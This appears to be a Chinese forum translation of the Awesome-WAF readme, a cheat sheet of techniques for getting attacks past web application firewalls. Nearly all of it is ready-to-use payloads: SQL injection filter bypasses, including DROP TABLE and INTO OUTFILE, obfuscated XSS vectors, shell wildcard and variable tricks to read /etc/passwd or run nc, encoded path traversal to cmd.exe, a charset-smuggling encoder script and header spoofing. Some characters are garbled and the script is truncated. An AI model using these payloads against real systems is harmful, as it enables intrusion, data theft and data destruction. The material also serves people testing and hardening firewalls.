Awesome-WAF readme - 绕过waf 手法指南

jax777 / 2019-09-29 09:18:00 / 浏览数 4932 安全技术 WEB安全 顶(0) 踩(0)

翻译文

https://github.com/0xInfection/Awesome-WAF

fuzz/爆破

- 字典
  - Seclists/Fuzzing.
  - Fuzz-DB/Attack
  - Other Payloads
    可能会被ban ip，小心为妙。

正则绕过

多少waf 使用正则匹配。

黑名单检测/bypass

Case: SQL 注入

• Step 1:

过滤关键词: and, or, union
可能正则: `preg_match('/(and|or|union)/i', $id)`

- 被拦截的语句: `union select user, password from users`
- bypass语句: `1 || (select user from users where user_id = 1) = 'admin'`

• Step 2:

过滤关键词: and, or, union, `where`

- 被拦截的语句: `1 || (select user from users where user_id = 1) = 'admin'`
- bypass语句: `1 || (select user from users limit 1) = 'admin'`

• Step 3:

过滤关键词: and, or, union, where, `limit`

- 被拦截的语句: `1 || (select user from users limit 1) = 'admin'`
- bypass语句: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`

• Step 4:

过滤关键词: and, or, union, where, limit, `group by`

- 被拦截的语句: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
- bypass语句: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`

• Step 5:

过滤关键词: and, or, union, where, limit, group by, `select`

- 被拦截的语句: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- bypass语句: `1 || 1 = 1 into outfile 'result.txt'`
- bypass语句: `1 || substr(user,1,1) = 'a'`

• Step 6:

过滤关键词: and, or, union, where, limit, group by, select, `'`

- 被拦截的语句: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- bypass语句: `1 || user_id is not null`
- bypass语句: `1 || substr(user,1,1) = 0x61`

- bypass语句: `1 || substr(user,1,1) = unhex(61)`

• Step 7:

过滤关键词: and, or, union, where, `limit`, `group by`, `select`, `'`, hex

- 被拦截的语句: `1 || substr(user,1,1) = unhex(61)`
- bypass语句: `1 || substr(user,1,1) = lower(conv(11,10,36))`

• Step 8:

过滤关键词: and, or, union, where, `limit`, `group by`, `select`, `'`, hex, `substr`

- 被拦截的语句: `1 || substr(user,1,1) = lower(conv(11,10,36))`
- bypass语句: `1 || lpad(user,7,1)`

• Step 9:

过滤关键词: and, or, union, where, `limit`, `group by`, `select`, `'`, hex, `substr`, `white space`

- 被拦截的语句: `1 || lpad(user,7,1)`
- bypass语句: `1%0b||%0blpad(user,7,1)`

混淆 编码

1. 大小写

标准: `<script>alert()</script>`
Bypassed: `<ScRipT>alert()</sCRipT>`

标准: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
Bypassed: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`

2. URL 编码

被阻断语句: `<svG/x=">"/oNloaD=confirm()//`
Bypassed: `%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F`

被阻断语句: `uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)`
Bypassed: `uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29`

3. Unicode 编码

标准: `<marquee onstart=prompt()>`
混淆: `<marquee onstart=\u0070r\u06f\u006dpt()>`

被阻断语句: `/?redir=http://google.com`
Bypassed: `/?redir=http://google■com` (Unicode 替代)

被阻断语句: `<marquee loop=1 onfinish=alert()>x`
Bypassed: `■marquee loop■1 onfinish■alert■1)>x` (Unicode 替代)

> TIP: 查看这些说明 this and this reports on HackerOne. :)

4. HTML 实体编码

标准: `"><img src=x onerror=confirm()>`
Encoded: `&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;` (General form)
Encoded: `&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;` (Numeric reference)

5. 混合编码

- Sometimes, WAF rules often tend to filter out a specific type of encoding.
- This type of filters can be bypassed by mixed encoding payloads.
- Tabs and newlines further add to obfuscation.

混淆:

```
<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>
```

7. 双重URL编码

- 这个需要服务端多次解析了url编码

标准: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
混淆: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

标准: `<script>alert()</script>`
混淆: `%253Cscript%253Ealert()%253C%252Fscript%253E`

8. 通配符使用

- 用于linux命令语句注入，通过shell通配符绕过

标准: `/bin/cat /etc/passwd`
混淆: `/???/??t /???/??ss??`
Used chars: `/ ? t s`

标准: `/bin/nc 127.0.0.1 1337`
混淆: `/???/n? 2130706433 1337`
Used chars: `/ ? n [0-9]`

9. 动态payload 生成

标准: `<script>alert()</script>`
混淆: `<script>eval('al'+'er'+'t()')</script>`

标准: `/bin/cat /etc/passwd`
混淆: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`

> Bash allows path concatenation for execution.

标准: `<iframe/onload='this["src"]="javascript:alert()"';>`
混淆: `<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>`

9. 垃圾字符

- Normal payloads get filtered out easily.
- Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.

标准: `<script>alert()</script>`
混淆: `<script>+-+-1-+-+alert(1)</script>`

标准: `<BODY onload=alert()>`
混淆: `<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>`

> NOTE: 上述语句可能会破坏正则的匹配，达到绕过。

标准: `<a href=javascript;alert()>ClickMe`
Bypassed: `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe`

10. 插入换行符

- 部分waf可能会对换行符没有匹配

标准: `<iframe src=javascript:confirm(0)">`
混淆: `<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">`

11. 未定义变量

- bash 和 perl 执行脚本中加入未定义变量，干扰正则。

  TIP: 随便写个不存在的变量就好。`$aaaa,$sdayuhjbsad,$dad2ed`都可以。

  Level 1 Obfuscation: Normal
  标准: `/bin/cat /etc/passwd`
  混淆: `/bin/cat$u /etc/passwd$u`

  Level 2 Obfuscation: Postion Based
  标准: `/bin/cat /etc/passwd`
  混淆: `$u/bin$u/cat$u $u/etc$u/passwd$u`

  Level 3 Obfuscation: Random characters
  标准: `/bin/cat /etc/passwd`

混淆: `$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff`

一个精心制作的payload

```
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
```

12. Tab 键和换行符

- 大多数waf匹配的是空格不是Tab

标准: `<IMG SRC="javascript:alert();">`
Bypassed: `<IMG SRC="	javascript:alert();">`
变形: `<IMG SRC="	jav	ascri	pt:alert	();">`

标准: `http://test.com/test?id=1 union select 1,2,3`
标准: `http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3`

标准: `<iframe src=javascript:alert(1)></iframe>`
混淆:

```
<iframe	src=j	a	v	a	s	c	r	i	p	t	:a	l	e
```

13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)

- Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
- Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.

  However, the request must still remain valid while using token-breakers.

  Case: Unknown Token for the Tokenizer

  - Payload: `?id='-sqlite_version() UNION SELECT password FROM users --`

  Case: Unknown Context for the Parser (Notice the uncontexted bracket)

  - Payload 1: `?id=123);DROP TABLE users --`
  - Payload 2: `?id=1337) INTO OUTFILE 'xxx' --`

  TIP: 更多payload可以看这里 cheat sheet.

14. 其他格式混淆

- 许多web应用程序支持不同的编码类型(如下表)
- 混淆成服务器可解析、waf不可解析的编码类型

Case: IIS

- IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符
- 可以发送编码后的参数名和值

原始请求:

```
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--
```

混淆请求 + URL Encoding:

```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
```

The following table shows the support of different character encodings on the tested systems (when messages could be 混淆 using them):

  TIP: 可以使用 这个小脚本 来转化编码

```
import urllib.parse, sys
from argparse import ArgumentParser
lackofart = '''
       OBFUSCATOR
'''

def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True
   result = ""
   equalSign = "="
   ampersand = "&"
   if '=' and '&' in params:
       if encodeEqualSign:
           equalSign = equalSign.encode(charset)
       if encodeAmpersand:
           ampersand = ampersand.encode(charset)
       params_list = params.split("&")
       for param_pair in params_list:
           param, value = param_pair.split("=")
           if urlDecodeInput:
               param = urllib.parse.unquote(param)
               value = urllib.parse.unquote(value)
           param = param.encode(charset)
           value = value.encode(charset)
           if urlEncodeOutput:
               param = urllib.parse.quote_plus(param)
               value = urllib.parse.quote_plus(value)
           if result:
               result += ampersand
           result += param + equalSign + value
   else:
       if urlDecodeInput:
           params = urllib.parse.unquote(params)
       result = params.encode(charset)
       if urlEncodeOutput:
           result = urllib.parse.quote_plus(result)
   return result

def main():
   print(lackofart)
   parser = ArgumentParser('python3 obfu.py')
   parser._action_groups.pop()

   # A simple hack to have required arguments and optional arguments separately
   required = parser.add_argument_group('Required Arguments')
   optional = parser.add_argument_group('Optional Arguments')

   # Required Options
   required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
   required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')

   # Optional Arguments (main stuff and necessary)
   optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
   optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
   args = parser.parse_args()
   if not len(sys.argv) > 1:
       parser.print_help()
       quit()
   print('Input: %s' % (args.str))
   print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))

if __name__ == '__main__':
   main()
```

服务器信息	可用编码	说明
Nginx, uWSGI-Django-Python3	IBM037, IBM500, cp875, IBM1026, IBM273	对参数名和参数值进行编码 服务器会对参数名和参数值均进行url解码 需要对等号和& and进行编码(不进行url编码)

Nginx, uWSGI-Django-Python2	IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424	对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。
Apache-TOMCAT8-JVM1.8-JSP	IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025	参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码
Apache-TOMCAT7-JVM1.6-JSP	IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025	参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码
IIS6, 7.5, 8, 10 -ASPX (v4.x)	IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025	参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码

HTTP 参数污染

手法

- 这种攻击方法基于服务器如何解释具有相同名称的参数
- 可能造成bypass的情况:
  - 服务器使用最后接收到的参数，WAF只检查第一个参数
  - 服务器将来自类似参数的值联合起来，WAF单独检查它们

下面是相关服务器对参数解释的比较

环境	参数解析	示例
ASP/IIS	用逗号连接	par1=val1,val2
JSP, Servlet/Apache Tomcat	第一个参数是结果	par1=val1
ASP.NET/IIS	用逗号连接	par1=val1,val2
PHP/Zeus	最后一个参数是结果	par1=val2
PHP/Apache	最后一个参数是结果	par1=val2
JSP, Servlet/Jetty	第一个参数是结果	par1=val1
IBM Lotus Domino	第一个参数是结果	par1=val1
IBM HTTP Server	最后一个参数是结果	par1=val2
mod_perl, libapeq2/Apache	第一个参数是结果	par1=val1
Oracle Application Server 10G	第一个参数是结果	par1=val1
Perl CGI/Apache	第一个参数是结果	par1=val1
Python/Zope	第一个参数是结果	par1=val1
IceWarp	返回一个列表	['val1','val2']
AXIS 2400	最后一个参数是结果	par1=val2
DBMan	由两个波浪号连接起来	par1=val1~~val2
mod-wsgi (Python)/Apache	返回一个列表	ARRAY(0x8b9058c)

浏览器 Bugs:

Charset Bugs:

- 可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)
- 当网站解码的时候，触发payload

Example request:

```
GET /page.php?p=∀■■script■alert(1)■/script■ HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5<
Accept-Language: en-US,en;q=0.5
```

```
Accept-Encoding: gzip, deflate
```

当站点加载时，将其编码为我们设置的UTF-32编码，然后由于页面的输出编码为UTF-8，将其呈现为:"`<script>alert (1) </ script>` 从而触发xss

完整url编码后的 payload:

```
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
```

Null 空字节

- 空字节通常用作字符串终止符

Payload 示例:

```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
```

标准: `<a href="javascript:alert()">`
混淆: `<a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>`
变形: `<a 0x00 href="javascript:alert(1)">clickme</a>`

解析错误

- RFC 声明节点名不可以由空白起始
- 但是我们可以使用特殊字符 %, `//`, `!`, ?, etc.

例子:

- `</ style=x:expression\28write(1)\29>` - Works upto IE7 (Source)
- `<!--[if]><script>alert(1)</script -->` - Works upto IE9 (Reference)
- `<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>` - Works in IE7 (Reference)
- `<%div%20style=xss:expression(prompt(1))>` - Works Upto IE7

Unicode 分隔符

- 每个浏览器有不同的分隔分隔符

@Masato Kinugawafuzz 后发现如下

- IExplorer: `0x09`, `0x0B`, `0x0C`, `0x20`, `0x3B`
- Chrome: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
- Safari: `0x2C`, `0x3B`
- FireFox: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
- Opera: `0x09`, `0x20`, `0x2C`, `0x3B`
- Android: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`

示例

```
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
```

使用其他非典型等效语法结构替换

- 找的waf开发人员没有注意到的语句进行攻击

一些WAF开发人员忽略的常见关键字:

- JavaScript functions:
  - `window`
  - `parent`
  - `this`
  - `self`
- Tag attributes:
  - `onwheel`
  - `ontoggle`
  - `onfilterchange`
  - `onbeforescriptexecute`
  - `ondragstart`
  - `onauxclick`

    - `onpointerover`
    - `srcdoc`
- SQL Operators

  ```
  lpad

  lpad( string, padded_length, [ pad_string ] ) lpad■■■■■■■■■■■■■■■■■■■■
  lpad('tech', 7); ■■■' tech'
  lpad('tech', 2); ■■■'te'
  lpad('tech', 8, '0'); ■■■'0000tech'
  lpad('tech on the net', 15, 'z'); ■■■'tech on the net'
  lpad('tech on the net', 16, 'z'); ■■■'ztech on the net
  ```

  ```
  field

  FIELD(str,str1,str2,str3,...)
  ■■■■■■■1■■■■■■■str■str1■str2■STR3■...■■■■■■str■■■■■■■■0■
  +--------------------------------------------------------+
  | FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo')         |
  +--------------------------------------------------------+
  | 2                                                      |
  +--------------------------------------------------------+
  ```

    - `bit_count` 二进制数中包含1的个数。 BIT_COUNT(10);因为10转成二进制是1010，所以该结果就是2

示例payloads:

Case: XSS

```
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
```

Case: SQLi

```
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
```

- 可以使用许多替代原生JavaScript的方法:
- JSFuck
- JJEncode
- XChars.JS

滥用SSL/TLS密码:

- 很多时候，服务器可以接收各种SSL/TLS密码和版本的连接。

  初始化到waf不支持的版本

  找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。

- 找出服务器支持的密码(SSLScan这种工具可以帮助到你)。
- 找出服务器支持但waf不支持的

  Tool: abuse-ssl-bypass-waf

滥用 DNS 记录:

- 找到云waf后的源站

  TIP: 一些在线资源 IP History 和 DNS Trails

Tool: bypass-firewalls-by-DNS-history

```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
```

请求头欺骗

- 让waf以为请求来自于内部网络，进而不对其进行过滤。

添加如下请求头

```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
```

Google Dorks Approach:

- 应对已知waf的绕过

搜索语法

Normal search:
`+<wafname> waf bypass`

Searching for specific version exploits:
`"<wafname> <version>" (bypass|exploit)`

For specific type bypass exploits:
`"<wafname>" +<bypass type> (bypass|exploit)`

On Exploit DB:
`site:exploit-db.com +<wafname> bypass`

On 0Day Inject0r DB:
`site:0day.today +<wafname> <type> (bypass|exploit)`

On Twitter:
`site:twitter.com +<wafname> bypass`

On Pastebin
`site:pastebin.com +<wafname> bypass`

上一篇：2019工业信息安全技能大赛个人线... 下一篇：Xss Bypass dog

1. 0 条回复
   - 动动手指，沙发就是你的了！